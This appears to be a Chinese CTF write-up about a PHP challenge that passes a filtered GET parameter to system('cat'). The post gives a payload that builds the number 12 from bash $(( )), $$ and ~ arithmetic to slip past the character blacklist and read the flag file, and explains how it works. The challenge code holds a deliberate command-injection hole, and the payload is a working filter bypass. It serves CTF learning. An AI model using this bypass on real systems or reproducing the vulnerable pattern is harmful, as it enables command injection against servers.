当前位置: 首页 > news >正文

linux 利用 ~$() 构造数字

2024.6.1

题目

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

payload

x=$((~$(($(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))))))

解析

  • ​$(())​ 是一种用于进行算术运算的Shell语法。它可以用来计算数学表达式的值,并将结果输出到标准输出
  • ​$$​ 代表当前进程的 ID

因此, $(($$))​ 的意思是:获取当前进程的 ID

由此可以得到 一个获取 -1​ 的单元

​$(($(($$))$((~$(($$))))))

由此只要不断叠加单元就可以获得任何数据

例如获取 数字 3 (这里为了观赏性采用换行表现)

$((~$((
    $(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
))))

相关文章:

  • 【TB作品】MSP430G2553单片机,智能储物柜
  • R 语言入门学习笔记:软件安装踩坑记录——删除所有包以及彻底解决库包被安装到 C 盘用户目录下的问题,以及一些其他需要注意的点
  • 设计模式-原型模式
  • Java(八)——String类
  • Redis 哨兵(Sentinel)
  • 并发——线程
  • Linux-struct list_head的快速使用
  • 流媒体内网穿透/组网/视频协议转换EasyNTS上云网关如何更改密码?
  • 阿里云部署nodejs
  • 2024蓝桥杯国赛C++研究生组游记+个人题解
  • allure测试报告用例数和 pytest执行用例数不相同问题
  • 【Java】面向对象的三大特征:封装、继承、多态
  • 最低要求条件下的商环定义
  • 【2.文件和目录相关(下)】
  • 网络运维的重要性
  • # Java 基础面试300题 (51-80)
  • 互联网政务应用安全管理规定:使用安全连接方式访问
  • [AI OpenAI] 通过隐蔽影响行动破坏AI的欺骗性使用
  • php TP8 阿里云短信服务SDKV 2.0(跳大坑)
  • 远程连接服务器
  • 竞彩湃|德甲欧冠资格竞争白热化,伯恩茅斯主场迎恶战
  • 本周看啥|喜欢二次元的观众,去电影院吧
  • 101条关于减重的知识,其中一定有你不知道的
  • 马上评|比余华与史铁生的友情更动人的是什么
  • 司法部:民营经济促进法明确禁止违规异地执法、利用行政或者刑事手段违法干预经济纠纷
  • 售卖自制外挂交易额超百万元,一男子因提供入侵计算机系统程序被抓